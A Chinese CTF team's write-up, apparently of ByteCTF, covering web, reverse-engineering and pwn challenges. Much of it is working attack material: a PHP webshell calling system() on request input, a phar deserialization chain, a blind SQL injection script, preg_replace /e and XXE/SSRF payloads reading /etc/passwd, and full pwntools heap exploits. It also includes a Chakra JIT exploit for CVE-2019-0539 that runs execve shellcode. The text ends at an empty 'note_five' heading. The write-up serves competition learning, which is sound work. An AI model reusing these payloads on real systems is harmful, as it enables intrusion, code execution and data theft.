Team: W&M

前排广告位:W&M长期招逆向/二进制/密码学/杂项/web选手,尤其是二进制和密码学选手,有意向的大佬欢迎砸简历到ctf@whitecap100.org

Web:

boring_code

两个点

  • 域名需要包含baidu.com

  • 绕过正则和过滤将字符串传入eval中执行

第一个点
队友财大气粗直接买了个域名,成功绕过。 (缓缓打出一个?
第二个点
正则只允许我们传入形如 a(b(c())) 的字符串,且最后一个括号内不能有参数。
参考一叶飘零的总结 https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

但是这题加大了很多难度,过滤了这么些东西
/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/
没有et的话所有带get的都不能用了。想getshell几乎不可能了。
再加上的提示。只需要达到文件读取就可以了。

先构造出一个可以读当前目录的payload
echo(readfile(end(scandir('.'))))
可以读取目录中最后一个文件。

现在需要构造一个能产生.的函数。找到这个函数 localeconv() ,会返回一个数组,数组第一项就是 "."
那么用current(localeconv())取出第一项,发现nt被BAN了,翻手册找到了pos()函数,是current的别名。
那么当前的payload
echo(readfile(end(scandir(current(localeconv())))))
但是flag目录在上层目录,需要用chdir跳转。可以chdir只会返回bool值。我们需要找一个函数接受布尔值并且可以输出"."
想到了时间有关函数 time() localtime(),
time(true)会返回当前时间戳,但是时间戳的值无法转变为想要的"."
localtime()返回数组,可以提取出秒数的值,用chr转换为字符串"." 即在46s时 chr(pos(localtime()))就会返回"."
但是localtime()内接受布尔参数会报错,陷入僵局。

继续翻手册发现了

localtime第一参数默认是time() ,那我可以用localtime接受time函数,time接受一个bool值。

构造最终payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

把(买的)域名指向到自己的服务器,服务器上放一个文件
echo "echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));"
然后发包去访问,需要简单爆破下,只有在时间为某分46秒时可以读到源码

EZCMS

www.zip拿到源码
简单审计,明显的hash长度拓展攻击,老套路了。
username:admin

password:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admina
登陆之后加上cookie fcb0b00520b914c23b9e95db070008ad


继续审计发现一个phar反序列化点。
view.php中
$file = new File($file_name, $file_path);
跟进后filepath会进入mime_content_type函数。再加上我们可以控制上传文件的内容,达成一条反序列化链。
两种攻击思路

  • 反序列化调用upload_file函数,上传到其他目录获取shell

  • 重写htaccess内容或者删掉htaccess

第一条路由于使用的是move_uploaded_file,会对tmp文件名检测,在不知道tmp名的情况下无法使用。
走第二条路
直接上反序列化构造脚本

<?php

class File{




    public $filename;

    public $filepath;

    public $checker;




    function __construct($filename, $filepath)

    {

        $this->filepath = $filepath;

        $this->filename = $filename;

    }

}

class Profile{




    public $username;

    public $password;

    public $admin;

}

$a = new File("altman","altman");

$a->checker = new Profile();

$a->checker->username = "/var/www/html/sandbox/a87136ce5a8b85871f1d0b6b2add38d2/.htaccess";

$a->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;

$a->checker->admin = new ZipArchive();

echo serialize($a);

$phar = new Phar("1.phar");

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($a); 

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

$phar->stopBuffering();

?>

构造好后先上传一个简单马,需要绕过黑名单

<?php

$a="syste";

$b="m";

$c=$a.$b;

$d=$c($_REQUEST['a']);

?>

然后将生成的phar上传,利用filter绕过对phar的过滤 (见suctf)
http://112.126.102.158:9999/view.php?filename=dd7ec931179c4dcb6a8ffb8b8786d20b.txt&filepath=php://filter/resource=phar://sandbox/a87136ce5a8b85871f1d0b6b2add38d2/dd7ec931179c4dcb6a8ffb8b8786d20b.txt
触发反序列化。删掉htaccess。此时切记不要访问upload.php,否则会重新生成htaccess。
直接访问沙盒下第一个上传的php文件,拿到shell。

babyblog

扫描目录可以发现www.zip源码泄露。
大概看了下,发现文章标题处存在二次注入

config中泄露过滤函数,但是作用不大直接使用异或注入即可绕过

`1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1

接下来写个脚本注入即可

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re


import requests


# 1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1


def main():
    get_all_databases("http://112.126.101.16:9999/")



def http_get(url, payload):
    result = requests.post(url + "writing.php", data={'title': "1'^(" + payload + ")^'1", 'content': 'fuhei'}, headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
    result.encoding = 'utf-8'


    r2 = requests.get(url + "index.php", headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})


    pattern = re.compile(r'edit.php\?id=(\d+)')
    result1 = pattern.findall(r2.text)
    result = requests.post(url + "edit.php", data={'title': "fuhei", 'content': 'fuhei', "id": result1[0]},
                           headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
    result.encoding = 'utf-8'


    result2 = requests.get(url + "edit.php?id=" + result1[0], headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
    print(result2.text.find('ascii') == -1)


    if result2.text.find('ascii') == -1:
        return True
    else:
        return False



# 获取数据库
def get_all_databases(url):
    db_name = ""
    db_payload = "select(group_concat(schema_name)) from (information_schema.schemata)"
    for y in range(1, 32):
        db_name_payload = "ascii(substr((" + db_payload + "),%d,1))" % (
            y)
        db_name += chr(half(url, db_name_payload))
        print(db_name)
    print("值为:%s" % db_name)

# 二分法函数
def half(url, payload):
    low = 0
    high = 126
    # print(standard_html)
    while low <= high:
        mid = (low + high) / 2
        mid_num_payload = "%s > %d" % (payload, mid)
        # print(mid_num_payload)
        # print(mid_html)
        if http_get(url, mid_num_payload):
            low = mid + 1
        else:
            high = mid - 1
    mid_num = int((low + high + 1) / 2)
    return mid_num



if __name__ == '__main__':
main()

然后根据题目意思来注入找到是vip的用户

解密得到VIP用户 pppr/123
继续审计发现replace.php中存在preg_replace函数,参数可控可导致命令执行

import requests
import base64


cookie={
    "PHPSESSID":"pe6c91i1bbks4k21r5endcfh41"
}
def write():
    url="http://112.126.101.16:9999/edit.php"
    data={
        "title":"glzjin",
        "content":'glzjin',
        "id":"2630"
    }
    r=requests.post(url=url,data=data,cookies=cookie)
    return r.content



url = "http://112.126.101.16:9999/replace.php"


#command = """eval('cmd = "/readflag";$out_path = "/tmp/altman";$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";putenv("EVIL_CMDLINE=" . $evil_cmdline);$so_path = "/tmp/de1ta.so";putenv("LD_PRELOAD=" . $so_path);error_log("", 1, "example@example.com");echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);')"""
command = """eval("var_dump(scandir('/tmp'));")"""


payload = "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"regex\"\r\n\r\n1\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"find\"\r\n\r\nglzjin/e\x00\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nglzjin\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"replace\"\r\n\r\n" +  command +"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n2630\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--"
headers = {
    'content-type': "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
    'Cookie': "PHPSESSID=pe6c91i1bbks4k21r5endcfh41",
    'cache-control': "no-cache",
    }
write()
response = requests.request("POST", url, data=payload, headers=headers)

print(response.text)

进去后发现大部分函数被disable_functions禁用了,而且无法跨出目录。于是看了下tmp目录发现存在de1ta.so,分析了下发现是GitHub开源的用来bypass disable_functions用的。于是对照phpinfo发现没有禁用error_log,直接使用error_log进行bypass。

RSS

1、打开靶机,看下功能,直接输入一个 rss,给解析出来。


同时限制了读取的域名。

2、那么这里就用 data:// 伪协议直接传数据进去试试,因为 php 对 data 的 mime type 不敏感,直接写成 baidu.com 就可以过这个 host 检测了。为了方便我这里传 base64 之后的。
参考资料:https://www.jianshu.com/p/80ce73919edb


测试没毛病。

3、别忘了 RSS 也是一种 XML,那么就存在 XXE 的问题,我们来试试。
参考资料:https://gist.github.com/sl4v/7b5e562f110910f85397

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    <item>
        <title>&xxe;</title>
        <link>http://example.com</link>
        <description>a post</description>
        <author>author@example.com</author>
        <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>

啊哈,出来了。

4、那么接下来就来读取站点源码试试,注意有尖括号我们需要套一下 php伪协议,转成 base64。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    <item>
        <title>&xxe;</title>
        <link>http://example.com</link>
        <description>a post</description>
        <author>author@example.com</author>
        <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>


5、读取结果 base64 解码一下,得到 index.php 源码。

<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');

function __autoload($class_name){
    if(file_exists('./classes/'.$class_name.'.php')) {

        require_once './classes/'.$class_name.'.php';

    } else if(file_exists('./controllers/'.$class_name.'.php')) {

        require_once './controllers/'.$class_name.'.php';

    }
}

分析一下,有个 routes.php,从名字看猜测里面存了路由,然后从 classes 和 controllers 里读类名对应的文件。
6、那来看看 routes.php

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=routes.php" >]>
<?php

Route::set('index.php',function(){
    Index::createView('Index');
});

Route::set('index',function(){
    Index::createView('Index');
});

Route::set('fetch',function(){
    if(isset($_REQUEST['rss_url'])){
        Fetch::handleUrl($_REQUEST['rss_url']);
    }
});

Route::set('rss_in_order',function(){
    if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
        Admin::createView('Admin');
    }else{
      if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
        Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
      }else{
       echo ";(";
      }
    }
});

前面三个路由我们抓包都能看到,最后一个有点意思,限制只能 127.0.0.1 访问。
7、最终这个路由,我们来读一下 Admin 这个类试试。读 classes 文件夹下的 Admin.php 时出错,controllers 下的正常。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./controllers/Admin.php" >]>
<?php

class Admin extends Controller{
    public static function sort($url,$order){
        $rss=file_get_contents($url);
        $rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
        require_once './views/Admin.php';
    }
}

8、那么就再来读读 views 下的 Admin.php。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./views/Admin.php" >]>
<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
    die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
    ?>
<div class="rss-head row">
    <h1>RSS解析失败</h1>
    <ul>
        <li>此网站RSS资源可能存在错误无法解析</li>
        <li>此网站RSS资源可能已经关闭</li>
        <li>此网站可能禁止PHP获取此内容</li>
        <li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
    </ul>
</div>
<?php
    exit;
};
function rss_sort_date($str){
    $time=strtotime($str);
    return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
    <div class="col-sm-12 text-center">
        <h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
        <span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
        <p><?php echo $rss->channel->description;?></p>
        <?php

            if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
                echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
            }
        ?>
    </div>
</div>
<div class="article-list" style="padding:10px">
    <?php 
    $data = [];
    foreach($rss->channel->item as $item){
        $data[] = $item;
    }
    usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    foreach($data as $item){    
    ?>
        <article class="article">
            <h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
            <div class="content">
                <p>
                    <?php echo $item->description;?>
                </p>
            </div>
            <div class="article-info">
                <i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
                <i style="margin:0px 5px"></i>
                <?php
                    for($i=0;$i<count($item->category);$i++){
                        echo $item->category[$i];
                        if($i+1!=count($item->category)){
                            echo ",";
                        }
                    };
                    if(isset($item->author)&&$item->author!=""){
                ?>
                        <i class="fa fa-user" style="margin:0px 5px"></i>
                <?php
                        echo $item->author;
                    }
                ?>
            </div>
        </article>
    <?php }?>
</div>
<div class="text-center">
    免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>

<?php include('package/footer.php') ?>

分析下源码,主要是这里有意思,

usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

看到没,直接将 $order 拼到函数体里了。那么这里我们就可以利用这里 RCE 了。
当然这里来源 IP 必须为 127.0.0.1,和上面 routes 里的对上了。
9、来利用那个 XXE 来搞个 SSRF,访问这个页面,rss_url 可以随意传个正常的,order 需要插我们要执行的恶意代码。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://tech.qq.com/photo/dcpic/rss.xml&order=title.var_dump(scandir('/'))" >]>

得到返回,看到 flag 文件名。

10、读下这个文件。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag_eb8ba2eb07702e69963a7d6ab8669134" >]>

Reverse:

easy_rust

直接载入IDA 发现是rust的,很多没用的函数 ,就是做各种检查的,应该是编译的时候带进来的,直接忽略,发现主函数的位置有一个反调试, 直接干掉,就可以在IDA里面调试了。
下面的处理很乱,大概的我都是调试总结出来的 。
这里其实就是验证输入的内容是不是 a-z 0-9,后面调试发现 其实只能固定在 a-h o 1 - 3 这几个字符。

下面就是交换字节,四个交换都类似这样,格式是 要交换的 字符+交换的方向

只有 1 2 3 a 这几种方式。判断是华容道游戏 调试把内存中的数据提取出来,
'd', 'c', 'o',
'h', 'a', 'e',
'b', 'g', 'f'
方块移动的规则
1 向上
2 向下
3 向右
a 向左
找个脚本跑了一下 ,对应的
c右a上h右b上g左h下b右d下a左b上e左f上
flag: c3a1h3b1gah2b3d2aab1eaf1

NaughtyBoy

分析apk以后发现没什么东西,都在so文件里面,直接去逆向so文件,发现是一个游戏,
四个都打开,配合着看,我发现IDA解析他们不太一样。有的结构比较清晰。

验证了头部flag

地图生成函数

直接复制下来,去vs里面跑一下,

地图出来了 ,然后圈圈提取出来,爆破出前四位是 good

然后下面就是走了 ,因为最下面有验证质数的,所以如果路过一个圈圈,会覆盖过去
最后会检查质数,但是24 也就是图的中间位置是不用满足的,所以图中间就是那个0x4f

bytectf{good53233212414531}

驱动逆向

直接加载会蓝屏,所以我先IDA分析了一通,发现了蹊跷的地方,在取CPUID的地方给数组赋值了,然后还去计算了MD5。但是CPUID是每台电脑不同的,所以根据提示设置了 “FakeIntel”作为ID ,就是FakeIntel + 0xDEADBEEF 。然后计算每四个字节计算一次MD5 最后取前八位组合在一起。
key : 52 a9 65 08 c3 95 36 f0 c2 42 53 9b 77 17 fb c6 1e 31 55 17 41 69 36 05 c0 5a 39 b9 53 28 3d 94
IV直接给出来 : 25 40 5a 86 b5 f1 3e 58 80 9b db 0b 30 49 66 8c
发现我直接用python的AES解不出来。 所以我windbg调试起来,要先NOP掉一个有问题的函数,在解密函数的位置设置内存
直接让驱动把解密完成。

Pwn**:**

mheap

add未检查size的大小,add总数超过size时,read返回值会是-1,向上写入单链表指针,后面攻击list没啥好说的

from pwn import *

p = remote("112.126.98.5",9999)
def add(idx, size, content):
    p.recvuntil("choice: ")
    p.sendline("1")

    p.recvuntil("Index: ")
    p.sendline(str(idx))

    p.recvuntil("size: ")
    p.sendline(str(size))

    p.recvuntil("Content: ")
    p.send(str(content))


def show(idx):
    p.recvuntil("choice: ")
    p.sendline("2")

    p.recvuntil("Index: ")
    p.sendline(str(idx))


def remove(idx):
    p.recvuntil("choice: ")
    p.sendline("3")

    p.recvuntil("Index: ")
    p.sendline(str(idx))

def modify(idx,content):
    p.recvuntil("choice: ")
    p.sendline("4")

    p.recvuntil("Index: ")
    p.sendline(str(idx))

    p.sendline(content)

add(0,3840 + 0x10, "\n")
add(1,80,"x"*80)
remove(1)
#raw_input()
add(2,256,p64(0x60)+p64(0x4040e0)+"x"*(0xd0-1)+"\n")
add(1,80,"x"+"\n")

add(2,0x23330000,p64(0x404050)+"\n")
show(2)
libc_addr = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))-0x40680
system_addr = 0x4f440 + libc_addr
modify(2,p64(system_addr))
p.recvuntil("choice: ")
p.sendline("/bin/sh\x00")
p.interactive()

childjs

chakra引擎直接用的过去的漏洞
https://bugs.chromium.org/p/project-zero/issues/detail?id=1702
CVE-2019-0539
由于JIT引擎判断InitProto操作并不会带来副作用,对象类型不会发生变化,导致了类型混淆漏洞。
网上存在分析文章
https://www.anquanke.com/post/id/173475
直接使用文中利用dateview实现任意地址读写的方法,对poc进行修改。
之后通过内存布局,将要泄露的对象放在数组中摆放在dataview后面进行实现对象地址的泄露。
通过entrypoint劫持的方法,使程序执行shellcode

var convert = new ArrayBuffer(0x100);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;
function hex(x) {
    return `0x${x.toString(16)}`
}
function bytes_to_u64(bytes) {
    return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000
                +bytes[4]*0x100000000+bytes[5]*0x10000000000);
}
function i2f(x) {
    u32[0] = x % BASE;
    u32[1] = (x - (x % BASE)) / BASE;
    return f64[0];
}
function f2i(x) {
    f64[0] = x;
    return u32[0] + BASE * u32[1];
}

let shellcode = [0.1,0.2,0.3,0.4];
let shellcode_addr = 0x0;
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
tm=[shellcode,shellcode,shellcode,shellcode,123]

BASE = 0x100000000;

function hex(x) {
    return "0x" + x.toString(16);
}

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 20000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }

    let o = {a: 1, b: 2};


    opt(o, o, obj); // o->auxSlots = obj (Step 1)

    o.c = dv1; // obj->auxSlots = dv1 (Step 2)

    obj.h = tm; // dv1->buffer = dv2 (Step 3)

    let read64 = function(addr_lo, addr_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);

        // read from addr (Step 5)
        return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
    }

    let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);

        // write to addr (Step 5)
        dv2.setInt32(0, value_lo, true);
        dv2.setInt32(4, value_hi, true);
    }

    // get dv2 vtable pointer
    vtable_lo = dv1.getUint32(48, true);
    vtable_hi = dv1.getUint32(52, true);
    print (hex(vtable_lo + vtable_hi * BASE));
obj.h =dv2;
   dv1.setUint32(0x38, vtable_lo, true);
    dv1.setUint32(0x3C, vtable_hi, true);
    vtable_lo = dv2.getUint32(32, true);
    vtable_hi = dv2.getUint32(36, true);
 print (hex(vtable_lo + vtable_hi * BASE));
 dv1.setUint32(0x38, vtable_lo, true);
    dv1.setUint32(0x3C, vtable_hi, true);
   lo=dv2.getUint32(8, true);
 hi = dv2.getUint32(12, true);
print (hex(lo + hi * BASE));

  write64(lo+24, hi, vtable_lo+88, vtable_hi);

     dv1.setUint32(0x38, vtable_lo+88, true);
  dv1.setUint32(0x3C, vtable_hi, true);
let shell=[106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]
for (let i = 0; i < shell.length; i++) {
    dv2.setUint8(i, shell[i]);

}
shellcode();
}

main();

mutnote

Ollvm混淆。但在ida函数列表中发现了start_routine函数,直接看此函数发现free后sleep再将指针清空。
漏洞就很明显了,条件竞争引起的uaf。直接上gdb调试,fastbin attack攻击malloc_hook完成利用。

#-*- coding: utf-8 -*-
from pwn import *


binary_file = './mulnote'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'

def dbg(breakpoint):
    glibc_dir = '/usr/src/glibc/glibc-2.23/'
    gdbscript = 'directory %smalloc\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
    log.info(gdbscript)
    gdb.attach(io, gdbscript)
    time.sleep(1)


def exploit(io):
    s       = lambda data               :io.send(str(data)) 
    sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
    sl      = lambda data               :io.sendline(str(data))
    sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :io.recv(numb)
    ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
    irt     = lambda                    :io.interactive()
    uu32    = lambda data               :u32(data.ljust(4, '\0'))
    uu64    = lambda data               :u64(data.ljust(8, '\0'))
    def create(a,b):
        io.writeline('C')
        io.readuntil('>')
        io.writeline(a)
        io.readuntil('>')
        io.writeline(b)
        io.readuntil('>')
    def remove(a):
        io.writeline('R')
        io.readuntil('>')
        io.writeline(a)
        io.readuntil('>')
    def edit(a,b):
        io.writeline('E')
        io.readuntil('>')
        io.writeline(a)
        io.readuntil('>')
        io.writeline(b)
        io.readuntil('>')
    # dbg(elf.plt.malloc) # malloc
    # dbg(elf.plt.free) # free
    # dbg(0xf) # edit
    ru('>')
    # overlap
    create('256','1111111')
    remove('0')
    io.writeline('S')
    ru('\n')
    libc.address= uu64(r(6))-libc.sym.__malloc_hook-88-0x10
    success('libc.address = 0x%x' % libc.address)
    create('96','1111111111111111111111')
    create('96','1111111111111111111111')
    create('96','1111111111111111111111')
    remove('1')
    remove('2')
    remove('1')
    create('96',p64(libc.sym.__malloc_hook-0x23))
    create('96',p64(libc.sym.__malloc_hook-0x23))
    create('96',p64(libc.sym.__malloc_hook-0x23))
    # dbg(elf.plt.malloc) # malloc
    create('96','a'*0x13+p64(libc.sym.one_gadget))
    io.writeline('C')
    io.readuntil('>')
    io.writeline('96')

    return io

if __name__ == '__main__':
    if len(sys.argv) > 1:
        io = remote(sys.argv[1], sys.argv[2])
    else:
        io = process(binary_file, 0)
    exploit(io)
    io.interactive()

vip

溢出sock_filter结构体,篡改ptrcl的沙盒规则,使openat的syscall return 0(libc的open使用的不是sys_open,巨坑),open函数返回0后read就是从stdin读取数据了。成为vip后可以堆溢出,然后接下来就是tcache攻击到got上方,接着show一下就可以知道libc,然后把free_got改成printf,然后free("%8$p")就是执行了printf("$8%p")这样就可以stack leak,知道stack_addr之后,算出ret_addr,通过堆溢出一直覆盖到chunk_list的位置,然后在第一个堆块放置ret_addr,从而绕过canary构造rop,然后由于之前已经知道libc了,所以直接通过libc中的pop_rdx_ret,来传第三个参数,由于禁用了system和execve,所以通过调用mprotect给bss段上执行权限,然后在bss段放orw_shellcode,即执行open("/flag")、read(3,buf,size)、write(1,buf,size),执行即可输出flag

#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("vip")
sh = 0
lib = 0
def vip():
    sh.sendlineafter(":","6")
    sh.sendafter(':',flat('a'*0x20, 
    0x0000000000000020, 0x0000010101000015, 
    0x0005000000000006, 0x7fff000000000006,))
def add(idx):
    sh.recvuntil("Your choice:")
    sh.sendline("1")
    sh.sendlineafter(":",str(idx))
def free(idx):
    sh.sendlineafter("Your choice:","3")
    sh.sendlineafter(":",str(idx))
def show(idx):
    sh.sendlineafter("Your choice:","2")
    sh.sendlineafter(":",str(idx))
def edit(idx,size,content):
    sh.recvuntil("Your choice:")
    sh.sendline("4")
    sh.recvuntil(":")
    sh.sendline(str(idx))
    sh.sendlineafter(":",str(size))
    sh.recvuntil("Content:")
    sh.send(content)
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./vip")
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        sh = remote(ip,port)
        lib = ELF("libc-2.27.so")
    chunk_list = 0x404100
    vip()
    add(0)
    add(1)
    add(5)
    add(6)
    add(10)
    free(6)
    free(1)
    payload = 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.got['free'])
    edit(0,0x70,payload)
    add(1)
    add(2)
    show(2)
    free_addr = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00'))
    libc = free_addr - lib.symbols['free']
    system = libc + lib.symbols['system']
    execve = libc + lib.symbols['execve']
    printf = libc + lib.symbols['printf']
    mprotect = libc + lib.symbols['mprotect']
    edit(2,9,p64(printf))
    edit(10,8,"%8$p\x00")
    free(10)
    sh.recvuntil("0x")
    stack = int(sh.recvuntil("Done!",True),16) - 8 * 13
    payload  = p64(libc + lib.symbols['free'])
    payload += p64(libc + lib.symbols['puts'])
    payload += p64(libc + lib.symbols['__stack_chk_fail'])
    payload += p64(libc + lib.symbols['printf'])
    payload += p64(libc + lib.symbols['memset'])
    payload += p64(libc + lib.symbols['read'])
    payload += p64(libc + lib.symbols['prctl'])
    payload += p64(libc + lib.symbols['malloc'])
    payload += p64(libc + lib.symbols['setvbuf'])
    payload += p64(libc + lib.symbols['open'])
    payload += p64(libc + lib.symbols['perror'])
    payload += p64(libc + lib.symbols['atoi'])
    payload += p64(libc + lib.symbols['scanf'])
    payload += p64(libc + lib.symbols['exit'])
    payload = payload.ljust(0x4040a0 - 0x404018,'\x00')
    payload += p64(libc + lib.symbols['_IO_2_1_stdout_']) + p64(0)
    payload += p64(libc + lib.symbols['_IO_2_1_stdin_']) + p64(0)
    payload += p64(libc + lib.symbols['_IO_2_1_stderr_'])
    payload += p64(0) * 7
    payload += p64(stack)
    edit(2,0x500,payload)
    pop_rdx_ret = 0x1b96 + libc
    pop_rdi_ret = 0x4018fb
    pop_rsi_r15_ret = 0x4018f9
    base = 0x404000
    payload = p64(pop_rdi_ret) + p64(base)
    payload += p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0)
    payload += p64(pop_rdx_ret) + p64(7)
    payload += p64(mprotect)
    payload += p64(pop_rdi_ret) + p64(0)
    payload += p64(pop_rsi_r15_ret) + p64(base + 0x800) + p64(0)
    payload += p64(pop_rdx_ret) + p64(0x500)
    payload += p64(libc + lib.symbols['read'])
    payload += p64(base + 0x800)
    edit(0,0x500,payload)
    sleep(0.2)
    payload = 'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.gm`f\x01\x01\x01H1\x04$H\x89\xe71\xd21\xf6j\x02X\x0f\x051\xc0j\x03_j@Z\xbe\x01\x01\x01\x01\x81\xf6\xa1AA\x01\x0f\x05j\x01_j@Z\xbe\x01\x01\x01\x01\x81\xf6\xa1AA\x01j\x01X\x0f\x05'
    sh.sendline(payload)
    log.success("libc: " + hex(libc))
    log.success("stack: " + hex(stack))
    log.success("system: " + hex(system))
    if(debug == 1):
        log.success("pid: " + str(sh.pid))
    sh.interactive()
if __name__ == "__main__":
    pwn("112.126.103.14",9999,0)

note_five

